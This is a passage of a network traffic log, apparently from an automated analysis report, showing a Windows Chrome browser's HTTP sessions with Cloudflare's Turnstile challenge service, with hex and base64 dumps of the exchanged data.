hKehcrCxcaS6uJGvl3qcoYvFr5qUm7TKq7qNuZ6av5+kirXTycW3lcqwt87gt7u3weLFsaa5n96n48i+vbrD7t/1r63RsfXy9/H57Oj00QLi1tMD8uPG9eIH7fz5+eDe6RYSA+MGCdHx7wkgHhjt/AMc/hga3+MAA/cW5QEOCREjJRAqM+8JBQgINvv8IC/8ATQ2JyICKUA3FQskBi9PTQ5EVkg5RloaUhoySV1bVxtcQDdaHkBcYURiTWMvJy9
2024-10-01 13:08:14 UTC	1369	IN	Data Raw: 6f 4f 56 6c 4b 36 4f 69 4a 69 38 6a 36 78 39 78 6e 37 46 79 62 53 36 77 6f 6e 45 6f 6f 58 46 6a 36 58 4c 31 4d 79 52 6c 4d 7a 55 6c 4d 37 62 7a 72 4b 34 7a 73 48 50 72 63 53 39 32 73 53 68 34 36 4c 67 77 75 6d 72 78 74 71 75 7a 63 54 74 30 2b 44 45 72 2b 6e 31 78 4f 76 70 73 4e 54 57 2b 64 48 56 77 4f 54 6b 42 4c 34 4b 2f 64 2f 58 44 51 50 76 43 65 6b 42 30 4f 62 7a 38 38 38 50 37 75 6a 6f 46 76 66 7a 2f 65 77 44 46 65 44 61 34 68 6f 67 39 68 38 6a 2f 50 55 69 4a 77 49 6c 48 69 59 56 45 65 38 32 4d 78 6b 4e 39 51 55 7a 4c 51 38 50 43 54 67 53 41 76 77 37 4d 42 49 53 48 43 55 55 4b 51 51 6e 50 6b 41 63 4b 6b 49 4e 45 45 55 70 4b 6a 6b 34 47 6c 68 64 54 68 59 64 50 46 6b 57 57 54 4a 67 5a 46 6f 6b 51 56 35 74 56 69 64 6c 4f 6c 31 74 64 53 78 76 53 47 35 71 Data Ascii: oOVlK6OiJi8j6x9xn7FybS6wonEooXFj6XL1MyRlMzUlM7bzrK4zsHPrcS92sSh46LgwumrxtquzcTt0+DEr+n1xOvpsNTW+dHVwOTkBL4K/d/XDQPvCekB0Obz888P7ujoFvfz/ewDFeDa4hog9h8j/PUiJwIlHiYVEe82MxkN9QUzLQ8PCTgSAvw7MBISHCUUKQQnPkAcKkINEEUpKjk4GlhdThYdPFkWWTJgZFokQV5tVidlOl1tdSxvSG5q
2024-10-01 13:08:14 UTC	1369	IN	Data Raw: 76 42 6b 62 36 4e 77 4a 4f 6c 6d 49 47 44 76 34 57 32 6a 63 37 4a 7a 71 4f 73 70 4c 33 51 30 63 76 48 30 37 4c 4e 6c 71 65 33 76 35 71 71 34 62 43 74 70 70 33 6d 73 37 4c 59 37 65 33 71 78 73 4f 71 73 76 48 44 74 4c 62 31 77 37 44 43 36 50 32 32 76 72 48 30 37 4f 7a 68 31 74 58 66 78 50 7a 67 36 51 44 6f 43 50 6a 4c 7a 2b 76 49 42 66 7a 4d 44 4f 50 4b 34 2f 66 74 44 4f 76 6e 49 51 44 68 48 66 41 54 49 2f 34 47 46 50 63 45 44 51 37 6c 4b 2b 37 72 2f 75 6f 66 44 66 4d 4e 41 69 49 4f 38 50 55 55 48 66 63 78 51 42 45 76 48 66 73 64 47 43 45 6b 41 52 30 6d 42 45 45 68 54 79 30 75 55 55 30 52 50 7a 52 57 45 6b 35 4c 48 42 77 74 47 6a 64 54 4f 69 45 63 5a 47 52 61 58 6b 70 56 56 54 63 35 62 43 70 49 59 6a 35 62 64 57 52 76 58 79 38 31 63 30 64 7a 57 45 68 2b 63 Data Ascii: vBkb6NwJOlmIGDv4W2jc7JzqOspL3Q0cvH07LNlqe3v5qq4bCtpp3ms7LY7e3qxsOqsvHDtLb1w7DC6P22vrH07Ozh1tXfxPzg6QDoCPjLz+vIBfzMDOPK4/ftDOvnIQDhHfATI/4GFPcEDQ7lK+7r/uofDfMNAiIO8PUUHfcxQBEvHfsdGCEkAR0mBEEhTy0uUU0RPzRWEk5LHBwtGjdTOiEcZGRaXkpVVTc5bCpIYj5bdWRvXy81c0dzWEh+c
2024-10-01 13:08:14 UTC	1369	IN	Data Raw: 39 67 49 48 49 79 34 4f 4c 71 61 61 71 6d 62 71 38 7a 39 48 49 6c 4a 61 59 6d 4c 6e 4b 30 70 66 64 33 4c 44 44 6e 38 33 6a 73 64 53 6a 75 37 4c 69 34 2b 44 57 72 2b 53 2b 33 63 76 68 34 4e 44 69 31 65 48 52 30 62 4c 38 2f 4f 65 32 2f 4d 76 34 76 74 41 45 34 2f 58 6f 78 51 7a 36 2b 66 6e 76 44 4f 33 51 39 4e 48 70 44 42 66 74 2b 50 4d 53 47 50 30 49 33 76 76 37 37 66 76 35 34 43 51 64 46 50 34 47 38 2f 30 47 43 2f 67 65 4c 65 34 73 43 44 54 31 4b 53 55 50 4b 78 41 50 46 6a 49 56 4b 7a 30 50 4d 67 30 43 48 54 4d 41 47 51 6f 72 50 6b 67 65 4f 6a 31 43 4a 53 30 6a 43 45 55 55 52 43 73 6d 4f 78 55 32 4d 42 30 32 4d 53 4a 52 57 6b 42 66 48 68 39 6c 58 6b 5a 4d 51 6c 67 6e 62 57 4d 73 55 6b 4e 46 63 53 70 6a 54 46 4a 59 4e 6e 55 33 67 56 64 61 50 6d 42 35 66 30 Data Ascii: 9gIHIy4OLqaaqmbq8z9HIlJaYmLnK0pfd3LDDn83jsdSju7Li4+DWr+S+3cvh4NDi1eHR0bL8/Oe2/Mv4vtAE4/XoxQz6+fnvDO3Q9NHpDBft+PMSGP0I3vv77fv54CQdFP4G8/0GC/geLe4sCDT1KSUPKxAPFjIVKz0PMg0CHTMAGQorPkgeOj1CJS0jCEUURCsmOxU2MB02MSJRWkBfHh9lXkZMQlgnbWMsUkNFcSpjTFJYNnU3gVdaPmB5f0
2024-10-01 13:08:14 UTC	1369	IN	Data Raw: 7a 37 65 65 77 35 72 45 70 71 43 6d 6f 4b 44 43 72 4b 53 77 76 71 7a 66 77 4c 71 31 73 4d 48 68 35 4c 79 78 73 39 54 64 77 2b 62 76 36 74 33 4a 71 39 2f 64 7a 2b 6e 54 73 72 66 47 79 38 37 39 78 2b 72 59 30 63 2f 75 39 76 54 69 34 4e 62 46 36 75 7a 33 41 75 34 51 44 42 41 45 43 4f 6f 4c 7a 4d 30 50 42 4f 6b 5a 46 2f 59 64 38 74 66 5a 44 2b 7a 37 2f 42 51 51 33 2b 58 70 2b 51 44 6a 36 75 62 76 4d 41 6f 4d 48 77 73 6e 44 77 66 35 47 42 6f 73 44 42 51 4f 4e 41 30 31 50 43 39 48 4d 6a 63 6f 49 44 63 43 4a 44 74 47 53 55 39 4e 55 69 77 6d 43 43 56 58 4e 54 68 47 4b 52 30 37 48 78 5a 58 51 6b 4e 54 50 43 42 59 61 43 6b 63 50 57 78 72 50 55 46 4e 50 47 42 6b 4c 69 31 57 61 32 74 47 59 31 5a 39 52 30 64 74 58 56 52 61 63 6a 39 6a 67 49 46 78 58 6c 4e 64 6a 47 31 Data Ascii: z7eew5rEpqCmoKDCrKSwvqzfwLq1sMHh5Lyxs9Tdw+bv6t3Jq9/dz+nTsrfGy879x+rY0c/u9vTi4NbF6uz3Au4QDBAECOoLzM0PBOkZF/Yd8tfZD+z7/BQQ3+Xp+QDj6ubvMAoMHwsnDwf5GBosDBQONA01PC9HMjcoIDcCJDtGSU9NUiwmCCVXNThGKR07HxZXQkNTPCBYaCkcPWxrPUFNPGBkLi1Wa2tGY1Z9R0dtXVRacj9jgIFxXlNdjG1
2024-10-01 13:08:14 UTC	1369	IN	Data Raw: 4b 36 69 72 70 65 50 30 38 7a 51 72 4b 33 64 30 5a 71 75 75 72 4f 69 6f 64 4b 66 34 4c 6a 6d 70 63 48 4f 37 2f 48 6c 75 71 72 66 37 66 66 69 36 75 33 31 37 4e 48 37 31 65 33 62 79 76 72 4d 41 41 55 47 42 65 6a 58 2f 50 6a 6e 41 75 6a 77 42 77 4d 4b 35 4f 2f 52 31 67 4d 4a 39 39 49 46 35 66 54 63 47 75 6a 2b 47 41 7a 31 41 66 48 6e 2f 53 62 7a 46 66 62 72 41 66 77 52 4d 53 38 43 4a 67 38 48 45 51 59 7a 43 53 63 78 46 68 30 32 51 43 4d 7a 45 53 45 6a 4b 44 78 46 4f 52 38 6e 47 79 63 4a 53 53 41 36 43 53 38 69 51 56 63 31 55 56 49 78 54 56 5a 4b 55 54 39 66 57 55 39 57 5a 6c 63 69 59 31 4a 63 61 6b 5a 4b 50 30 39 6b 4c 69 78 65 61 45 4e 4e 4e 31 46 76 51 79 30 75 4f 45 31 50 53 48 4e 7a 68 45 39 74 56 34 43 46 59 31 31 54 53 46 39 45 54 55 5a 4d 58 45 35 6f Data Ascii: K6irpeP08zQrK3d0ZquurOiodKf4LjmpcHO7/Hluqrf7ffi6u317NH71e3byvrMAAUGBejX/PjnAujwBwMK5O/R1gMJ99IF5fTcGuj+GAz1AfHn/SbzFfbrAfwRMS8CJg8HEQYzCScxFh02QCMzESEjKDxFOR8nGycJSSA6CS8iQVc1UVIxTVZKUT9fWU9WZlciY1JcakZKP09kLixeaENNN1FvQy0uOE1PSHNzhE9tV4CFY11TSF9ETUZMXE5o
2024-10-01 13:08:14 UTC	1369	IN	Data Raw: 50 4b 71 36 65 56 75 37 37 62 6e 4e 76 4f 76 62 61 61 34 72 2f 70 32 37 2f 71 31 39 2f 75 38 64 33 73 79 76 54 69 30 72 6e 4c 32 4d 33 4b 74 62 65 2f 2b 2b 72 67 42 62 37 2b 32 62 2f 63 79 67 58 64 34 2b 30 45 43 50 44 37 34 65 6a 48 39 77 77 45 43 67 4d 4d 39 74 30 50 32 79 44 74 34 4f 48 65 39 77 66 30 38 43 55 67 39 78 6f 43 39 75 48 72 49 42 77 64 4d 67 58 2b 4d 44 45 4f 4c 68 73 6c 4d 6a 51 65 47 42 34 72 4d 67 30 54 50 51 67 2f 51 6a 70 42 4c 6b 34 38 43 69 6f 51 52 6b 67 52 55 30 4e 4e 4b 52 56 4a 4f 42 64 48 4c 6a 59 38 55 68 70 4f 49 7a 38 69 5a 44 31 4c 49 69 78 61 54 69 63 69 51 56 4d 75 4e 45 78 67 4c 6d 4e 75 55 30 31 72 57 46 59 33 62 46 52 72 55 6c 78 7a 54 31 4e 63 58 58 39 49 56 34 42 6a 66 46 6c 74 69 47 52 64 59 59 5a 71 63 6d 46 30 67 Data Ascii: PKq6eVu77bnNvOvbaa4r/p27/q19/u8d3syvTi0rnL2M3Ktbe/++rgBb7+2b/cygXd4+0ECPD74ejH9wwECgMM9t0P2yDt4OHe9wf08CUg9xoC9uHrIBwdMgX+MDEOLhslMjQeGB4rMg0TPQg/QjpBLk48CioQRkgRU0NNKRVJOBdHLjY8UhpOIz8iZD1LIixaTiciQVMuNExgLmNuU01rWFY3bFRrUlxzT1NcXX9IV4BjfFltiGRdYYZqcmF0g
2024-10-01 13:08:14 UTC	1369	IN	Data Raw: 2f 6e 37 57 65 77 61 47 6a 70 71 50 57 6f 75 76 50 71 71 4c 71 77 4d 43 72 77 74 2f 6d 72 2b 71 78 39 38 58 31 78 77 48 2b 41 39 72 72 2b 74 2f 77 39 75 54 62 34 4e 58 4d 37 64 76 58 33 41 6a 6b 34 41 44 6c 7a 67 6a 68 44 75 73 51 32 67 2f 7a 49 66 67 58 49 66 55 53 48 75 34 6a 42 66 34 45 41 78 77 75 35 68 38 47 37 79 59 47 42 77 6f 77 47 66 50 35 42 6a 51 5a 50 66 41 4d 46 2f 63 31 50 41 38 68 4e 41 49 37 48 77 59 61 51 77 73 34 51 55 34 74 44 30 38 4c 54 42 4a 43 46 31 4a 55 53 45 64 5a 53 69 78 4d 51 42 73 34 50 54 70 6b 5a 69 63 32 59 57 31 57 4b 46 67 35 51 69 70 68 5a 69 64 58 55 6c 5a 53 63 6a 6c 56 62 30 77 35 62 6a 67 39 4f 58 74 33 56 49 64 7a 63 57 69 44 51 6d 70 59 62 6b 39 62 67 32 39 50 5a 57 53 55 6c 6f 39 52 68 49 71 4d 57 32 74 30 6b 6c Data Ascii: /n7WewaGjpqPWouvPqqLqwMCrwt/mr+qx98X1xwH+A9rr+t/w9uTb4NXM7dvX3Ajk4ADlzgjhDusQ2g/zIfgXIfUSHu4jBf4EAxwu5h8G7yYGBwowGfP5BjQZPfAMF/c1PA8hNAI7HwYaQws4QU4tD08LTBJCF1JUSEdZSixMQBs4PTpkZic2YW1WKFg5QiphZidXUlZScjlVb0w5bjg9OXt3VIdzcWiDQmpYbk9bg29PZWSUlo9RhIqMW2t0kl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49751	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:14 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1936952244:1727784984:kbwdMmMBzX1uE3HA9HIxeqn9rzz7DcMQ_TnkGyMAQ9E/8cbcae183e2342bd/063d5b8f5340141 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:14 UTC	349	IN	HTTP/1.1 404 Not Found Date: Tue, 01 Oct 2024 13:08:14 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: nU99bbe5dqlegrglEtQqrh4cCq0+oxeA+Ps=$47deJGWNViBq5e1Y cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8cbcae28fa17c337-EWR
2024-10-01 13:08:14 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49752	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:15 UTC	815	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8cbcae183e2342bd/1727788093971/dcbd2e0bf554887b70a10df12d13d00fd03686cbcc86498f3a55dc438817fab9/a0JwO36r5XkPi_g HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:15 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 01 Oct 2024 13:08:15 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-10-01 13:08:15 UTC	1985	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 33 4c 30 75 43 5f 56 55 69 48 74 77 6f 51 33 78 4c 52 50 51 44 39 41 32 68 73 76 4d 68 6b 6d 50 4f 6c 58 63 51 34 67 58 2d 72 6b 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g3L0uC_VUiHtwoQ3xLRPQD9A2hsvMhkmPOlXcQ4gX-rkAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-10-01 13:08:15 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49753	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:15 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8cbcae183e2342bd/1727788093972/5ftnKG-0C57dlXg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:15 UTC	170	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:15 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8cbcae2e69f78cda-EWR
2024-10-01 13:08:15 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4a 00 00 00 55 08 02 00 00 00 61 32 e5 68 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRJUa2hIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49754	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:16 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8cbcae183e2342bd/1727788093972/5ftnKG-0C57dlXg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:16 UTC	170	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:16 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8cbcae324844423e-EWR
2024-10-01 13:08:16 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4a 00 00 00 55 08 02 00 00 00 61 32 e5 68 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRJUa2hIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49755	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:17 UTC	928	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1936952244:1727784984:kbwdMmMBzX1uE3HA9HIxeqn9rzz7DcMQ_TnkGyMAQ9E/8cbcae183e2342bd/063d5b8f5340141 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31948 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 063d5b8f5340141 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:17 UTC	16384	OUT	Data Raw: 76 5f 38 63 62 63 61 65 31 38 33 65 32 33 34 32 62 64 3d 62 76 6a 74 61 2d 4d 47 4b 58 4b 34 6d 6c 53 65 71 65 59 58 6a 2d 6f 58 34 73 4d 67 65 53 74 6c 6d 65 77 55 65 34 74 4f 6d 34 6f 65 35 74 74 4f 35 53 65 25 32 62 6a 65 62 2d 65 59 76 34 58 65 46 74 62 6d 65 46 65 37 39 4b 65 5a 74 4a 62 32 57 30 74 4d 49 55 65 2d 52 6e 4d 43 31 62 6a 65 43 65 62 52 4d 2d 65 47 72 45 6e 52 73 74 67 39 78 65 79 42 4b 65 6f 54 37 41 2d 54 78 4d 65 73 6f 57 48 58 65 49 77 77 74 65 34 4a 65 34 2b 6a 59 59 58 37 62 65 65 66 68 79 6a 59 36 6a 30 77 65 37 76 6a 34 43 38 36 76 41 37 55 65 4d 51 77 34 61 30 6f 52 31 6a 66 48 6e 34 50 47 6c 65 78 44 4c 6e 65 36 61 30 77 30 4a 6e 65 41 79 54 48 76 79 5a 78 66 6e 49 52 65 67 46 73 41 72 45 79 62 54 53 62 59 72 30 72 76 4b 6c 4a Data Ascii: v_8cbcae183e2342bd=bvjta-MGKXK4mlSeqeYXj-oX4sMgeStlmewUe4tOm4oe5ttO5Se%2bjeb-eYv4XeFtbmeFe79KeZtJb2W0tMIUe-RnMC1bjeCebRM-eGrEnRstg9xeyBKeoT7A-TxMesoWHXeIwwte4Je4+jYYX7beefhyjY6j0we7vj4C86vA7UeMQw4a0oR1jfHn4PGlexDLne6a0w0JneAyTHvyZxfnIRegFsArEybTSbYr0rvKlJ
2024-10-01 13:08:17 UTC	15564	OUT	Data Raw: 79 76 6a 6b 53 65 58 56 4a 2b 4d 4f 4d 6a 76 7a 74 49 35 65 4b 5a 37 65 69 7a 5a 56 4c 48 65 68 65 6e 65 71 65 4c 6e 4d 69 52 37 65 65 41 65 47 65 57 6d 65 4b 65 42 65 37 46 4a 35 4d 32 65 34 65 4c 52 4d 69 65 4d 65 65 52 4d 6a 39 34 4c 42 76 4d 4d 65 4c 52 4d 65 65 67 65 51 2b 65 76 65 35 65 72 6e 6c 48 65 6e 65 31 6e 4c 48 65 24 65 58 65 34 65 65 39 65 73 52 4c 78 65 4b 65 59 52 4d 65 4d 6c 65 41 52 34 47 65 55 65 69 50 37 65 34 24 65 45 65 37 6e 4d 53 65 31 65 4c 50 4d 37 65 61 65 65 4b 4d 62 68 6d 74 4c 36 4d 38 65 59 74 6c 4b 4d 78 65 37 68 48 76 65 4f 65 76 6e 37 6d 34 47 65 56 65 59 53 4d 49 65 57 48 4d 6a 34 24 65 57 47 4d 4b 34 39 65 58 52 4d 78 65 2b 65 4b 78 65 76 4d 44 56 34 74 62 35 65 61 65 4f 65 4a 52 4d 42 55 53 48 65 50 4d 73 6a 47 6e 4c Data Ascii: yvjkSeXVJ+MOMjvztI5eKZ7eizZVLHeheneqeLnMiR7eeAeGeWmeKeBe7FJ5M2e4eLRMieMeeRMj94LBvMMeLRMeegeQ+eve5ernlHene1nLHe$eXe4ee9esRLxeKeYRMeMleAR4GeUeiP7e4$eEe7nMSe1eLPM7eaeeKMbhmtL6M8eYtlKMxe7hHveOevn7m4GeVeYSMIeWHMj4$eWGMK49eXRMxe+eKxevMDV4tb5eaeOeJRMBUSHePMsjGnL
2024-10-01 13:08:17 UTC	300	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:17 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26824 Connection: close cf-chl-gen: +5pYBPiV/AqvZBetJ/hCXBek+MDf1+dQICBjD35uvsqk3iwwEKExAhqn5WfrT6QA+ZRlkPVNaPJ+WKAW$8Th/Bpu6fevMpuJs Server: cloudflare CF-RAY: 8cbcae3a292c424d-EWR
2024-10-01 13:08:17 UTC	1069	IN	Data Raw: 70 5a 69 53 79 6f 57 34 79 37 36 4c 7a 64 50 45 6a 64 57 72 7a 39 44 48 78 4e 47 63 74 4b 72 56 6f 4c 6a 66 6e 62 61 38 31 4c 4b 65 70 39 69 37 37 63 76 4c 75 74 43 2f 77 39 37 52 35 36 6a 57 30 75 2f 61 39 63 6a 38 2f 4e 66 51 38 50 6a 64 30 39 2f 64 38 64 4d 46 2f 41 6e 6a 41 41 72 62 35 76 45 4f 30 75 67 52 30 41 51 61 41 38 7a 61 36 2f 66 6d 33 67 7a 36 48 4e 76 78 49 79 55 65 34 43 58 71 35 41 41 70 49 79 30 73 34 78 77 72 41 44 59 52 4d 42 6b 6b 4d 41 54 35 4b 6a 4d 2f 2b 77 70 41 52 53 45 58 51 41 45 4a 49 51 6c 4a 47 45 78 46 48 67 64 41 52 46 41 54 46 43 55 4f 4b 6c 70 45 53 6a 4d 61 48 68 35 4c 4d 44 42 6c 51 55 56 50 4a 56 6f 2f 53 32 4e 65 54 55 51 76 58 53 73 76 63 32 4a 49 55 44 4e 6c 57 54 6f 36 56 6a 6c 59 58 47 34 39 59 48 78 54 55 56 42 Data Ascii: pZiSyoW4y76LzdPEjdWrz9DHxNGctKrVoLjfnba81LKep9i77cvLutC/w97R56jW0u/a9cj8/NfQ8Pjd09/d8dMF/AnjAArb5vEO0ugR0AQaA8za6/fm3gz6HNvxIyUe4CXq5AApIy0s4xwrADYRMBkkMAT5KjM/+wpARSEXQAEJIQlJGExFHgdARFATFCUOKlpESjMaHh5LMDBlQUVPJVo/S2NeTUQvXSsvc2JIUDNlWTo6VjlYXG49YHxTUVB
2024-10-01 13:08:17 UTC	1369	IN	Data Raw: 75 4c 50 79 2b 32 6a 38 39 47 73 39 4f 76 66 73 4c 48 70 32 38 62 5a 33 75 66 79 33 2f 58 6b 31 76 30 42 32 77 54 69 35 4d 73 47 34 75 38 4a 30 4e 7a 6f 44 4d 38 4d 44 64 4d 59 30 52 77 55 46 50 4d 55 46 78 73 65 45 43 4c 69 38 68 55 59 4b 67 6b 42 35 4f 77 66 46 2b 73 63 37 79 6a 76 49 52 38 55 42 2f 63 4e 4e 79 38 30 4d 6a 63 33 4f 44 49 31 4f 7a 45 52 2f 68 38 43 4f 67 56 41 51 54 59 42 43 69 51 67 44 30 35 4f 49 53 4a 45 49 78 6b 33 4c 43 73 65 53 6c 56 65 58 79 49 57 55 32 42 44 4d 30 42 47 59 44 5a 61 52 6a 34 69 58 32 52 47 4b 6d 52 56 4d 44 64 32 63 45 74 33 54 31 74 59 66 47 70 72 57 49 52 75 63 31 4b 47 66 6b 42 4c 5a 56 75 4c 69 47 32 44 62 48 42 6f 69 32 47 59 63 56 4b 56 56 6e 75 46 64 4a 4a 2b 59 47 42 5a 66 61 4b 42 6b 6e 53 49 6c 57 71 57 Data Ascii: uLPy+2j89Gs9OvfsLHp28bZ3ufy3/Xk1v0B2wTi5MsG4u8J0NzoDM8MDdMY0RwUFPMUFxseECLi8hUYKgkB5OwfF+sc7yjvIR8UB/cNNy80Mjc3ODI1OzER/h8COgVAQTYBCiQgD05OISJEIxk3LCseSlVeXyIWU2BDM0BGYDZaRj4iX2RGKmRVMDd2cEt3T1tYfGprWIRuc1KGfkBLZVuLiG2DbHBoi2GYcVKVVnuFdJJ+YGBZfaKBknSIlWqW
2024-10-01 13:08:17 UTC	1369	IN	Data Raw: 2f 6f 35 76 4b 77 79 74 50 71 30 72 4f 32 79 4f 7a 68 30 39 4c 5a 31 66 6d 39 32 51 54 48 39 76 76 66 36 74 33 4a 78 77 34 53 34 41 54 6c 38 64 44 34 43 76 48 58 2b 76 34 59 46 52 38 51 41 2f 44 61 47 41 51 6f 42 50 63 44 35 53 62 37 35 41 59 71 42 79 51 42 43 78 45 6d 4c 79 51 6b 4a 52 6b 65 4d 2f 55 4e 47 66 77 39 48 66 73 38 4e 42 6f 45 4a 41 4d 55 4e 52 68 44 52 54 6c 4b 4c 6b 55 52 44 6c 68 4c 54 78 64 47 54 78 70 65 4e 45 39 57 4f 7a 35 54 51 46 39 45 5a 31 4d 39 58 57 77 32 53 47 6c 42 4b 6b 59 70 64 54 39 57 51 69 38 76 64 6a 70 5a 53 31 49 2b 53 58 64 68 66 56 52 56 63 59 64 78 52 49 5a 36 5a 6f 56 4b 54 5a 46 38 69 34 32 4b 6c 59 31 55 64 56 61 47 6b 35 61 46 56 6e 5a 66 64 46 36 61 67 58 4a 7a 6f 6e 39 6d 71 49 4e 